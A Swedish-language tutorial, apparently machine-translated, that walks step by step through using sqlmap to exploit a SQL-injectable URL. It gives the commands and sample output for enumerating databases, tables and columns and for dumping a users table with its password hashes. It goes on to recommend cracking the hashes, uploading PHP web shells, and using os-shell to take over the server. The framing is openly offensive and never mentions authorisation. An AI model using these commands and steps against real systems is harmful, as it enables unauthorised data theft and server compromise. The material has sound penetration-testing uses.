Sqlmap
Sqlmap är ett av de mest populära och kraftfulla sql injection automation tool där ute. Med tanke på en sårbar http – begäran url kan sqlmap utnyttja fjärrdatabasen och göra mycket hacking som att extrahera databasnamn, tabeller, kolumner, all data i tabellerna etc.
det kan till och med läsa och skriva filer på fjärrfilsystemet under vissa förhållanden. Skrivet i python är det ett av de mest kraftfulla hackverktygen där ute. Sqlmap är metasploit av sql-injektioner.
Sqlmap ingår i penna testa linux distributioner som kali linux, backtrack, backbox etc. På andra distros kan det enkelt laddas ner från följande url
http://sqlmap.org/.
eftersom det är skrivet i python måste du först installera python på ditt system. På ubuntu installera python från synaptic. På windows installera activestate python. Kolla in det här inlägget för information om hur du installerar och kör sqlmap på windows.
För listan över alternativ och parametrar som kan användas med kommandot sqlmap, kolla sqlmap-dokumentationen på
https://github.com/sqlmapproject/sqlmap/wiki/Usage
i denna handledning kommer vi att lära oss hur man använder sqlmap för att utnyttja en sårbar webbapplikation och se vad allt kan göras med ett sådant verktyg.
för att förstå denna handledning bör du ha grundlig kunskap om hur databasdrivna webbapplikationer fungerar. Till exempel de som gjorts med php+mysql.
sårbara webbadresser
Låt oss säga att det finns en webbapplikation eller webbplats som har en url i den så här
http://www.site.com/section.php?id=51
och det är benäget för sql-injektion eftersom utvecklaren av den webbplatsen inte korrekt undkom parameterns id. Detta kan enkelt testas genom att försöka öppna webbadressen
http://www.site.com/section.php?id=51'
Vi har just lagt till ett enda citat i parametern. Om den här webbadressen kastar ett fel eller reagerar på ett oväntat sätt är det uppenbart att databasen har fått det oväntade enskilda citatet som applikationen inte undkom ordentligt. Så i detta fall är denna ingångsparameter ”id” sårbar för sql-injektion.
Hacking med sqlmap
nu är det dags att gå vidare till sqlmap att hacka sådana webbadresser. Kommandot sqlmap körs från terminalen med python-tolken.
1. Skanna fjärrsystem
det första kommandot skannar fjärrsystemet för att se om det är sårbart för sql-injektion och samlar sedan in information om det.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
ovanstående är det första och enklaste kommandot att köra med sqlmap-verktyget. Den kontrollerar ingångsparametrarna för att hitta om de är sårbara för sql-injektion eller inte. För detta skickar sqlmap olika typer av sql-injektion nyttolast till ingångsparametern och kontrollerar utgången.
i processen kan sqlmap också identifiera fjärrsystemets operativsystem, databasnamn och version. Så här kan utmatningen se ut
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
så sqlmap-verktyget har upptäckt operativsystemet, webbservern och databasen tillsammans med versionsinformation. Även så mycket är ganska imponerande. Men det är dags att gå vidare och se vad mer är det här verktyget kan.
2. Upptäck databaser
När sqlmap bekräftar att en fjärr-url är sårbar för sql-injektion och kan utnyttjas är nästa steg att ta reda på namnen på databaserna som finns på fjärrsystemet. Alternativet ”–dbs ” används för att hämta databaslistan.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
utgången kan vara ungefär så här
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
utgången visar befintliga databaser på fjärrsystemet.
3. Hitta tabeller i en viss databas
nu är det dags att ta reda på vilka tabeller som finns i en viss databas. Låt oss säga att databasen av intresse här är ”safecosmetics”
kommando
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
och utgången kan vara något som liknar detta
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
är inte detta fantastiskt ? det om naturligtvis. Låt oss få kolumnerna i en viss tabell nu.
4. Hämta kolumner i en tabell
Nu när vi har listan över tabeller med oss, skulle det vara bra att få kolumnerna i någon viktig tabell. Låt oss säga att tabellen är ’användare’ och den innehåller användarnamn och lösenord.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
utgången kan vara ungefär så här
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
så nu är kolumnerna tydligt synliga. Bra jobbat!
5. Hämta data från en tabell
nu kommer den mest intressanta delen, att extrahera data från tabellen. Kommandot skulle vara
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
ovanstående kommando kommer helt enkelt att dumpa data för den specifika tabellen, väldigt mycket som mysqldump-kommandot.
utgången kan likna denna
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
hashkolumnen verkar ha lösenordshash. Försök knäcka hash och då skulle du få inloggningsuppgifterna direkt. sqlmap skapar en csv-fil som innehåller dumpdata för enkel analys.
hittills har vi kunnat samla in mycket information från fjärrdatabasen med sqlmap. Det är nästan som att ha direkt tillgång till fjärrdatabas via en klient som phpmyadmin. I verkliga scenarier skulle hackare försöka få en högre nivå för åtkomst till systemet. För detta skulle de försöka knäcka lösenordshasharna och försöka logga in via adminpanelen. Eller de skulle försöka få ett os-skal med sqlmap.
jag skrev ett annat inlägg om att använda sqlmap för att få mer information om fjärrdatabaser. Det förklarar de andra alternativen i sqlmap som är användbara för att ta reda på databasanvändarna, deras privilegier och deras lösenordshashar.
vad händer härnäst ?
När du kan skanna och samla in data från ett sårbart system är det dags att utnyttja det och se om det är möjligt att få tillgång till systemet. Sqlmap kan göra en hel del saker som att köra sql-frågor på fjärrsystemet, starta ett fjärrskal på systemet etc.
1. Exekvera godtyckliga sql-frågor
detta är förmodligen det enklaste att göra på en server som är sårbar för sql-injektion. Parametern — sql-query kan användas för att ange en sql-fråga som ska köras. Saker av intresse skulle vara att skapa en användare i användartabellen eller något liknande. Eller kan ändra / ändra innehållet på cms-sidor etc.
en annan paramter-sql-shell skulle ge ett sql-skal som gränssnitt för att köra frågor interaktivt.
2. Gå in i adminpanelen och spela
Om webbplatsen kör någon form av anpassat cms eller något liknande som har en adminpanel, kan det vara möjligt att komma in förutsatt att du kan knäcka lösenordet som hämtas i databasdumpen. Enkla och korta lösenord kan brytas helt enkelt genom brute forcing eller google.com.
kontrollera om adminpanelen tillåter att ladda upp några filer. Om en godtycklig php-fil kan laddas upp så är det mycket roligare. Php-filen kan innehålla shell_exec, system, exec eller passthru funktionsanrop och som gör det möjligt att utföra arbitary systemkommandon. Php web shell skript kan laddas upp för att göra samma sak.
3. Shell på remote OS
detta är saken att göra för att helt överta servern. Observera dock att det inte är så enkelt och trivialt som de knep som visas ovan. sqlmap levereras med ett parametersamtal-os-skal som kan användas för att försöka få ett skal på fjärrsystemet, men det har många egna begränsningar.
enligt sqlmap-manualen
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
det viktigaste privilegiet som den aktuella databasanvändaren behöver är att skriva filer via databasfunktionerna. Detta är frånvarande i de flesta fall. Därför fungerar inte denna teknik i de flesta fall.
notera
1. Ibland kan sqlmap inte ansluta till webbadressen alls. Detta är synligt när det fastnar vid den första uppgiften att ”testa anslutningen till måladressen”. I sådana fall är det bra att använda alternativet ”–random-agent”. Detta gör sqlmap att använda en giltig användaragent signatur som de som skickas av en webbläsare som chrome eller firefox.
2. För webbadresser som inte är i form av param=värde kan sqlmap inte automatiskt veta var man ska injicera. Till exempel MVC-webbadresser som http://www.site.com/class_name/method/43/80.
i sådana fall måste sqlmap få veta injektionspunkten markerad med A *
http://www.site.com/class_name/method/43*/80
ovanstående kommer att berätta för sqlmap att injicera vid den punkt markerad med *
3. När du använder formulär som skickar data via post-metoden måste sqlmap tillhandahållas post-data i alternativen ”– data”. För mer information kolla in denna handledning om hur du använder sqlmap med formulär.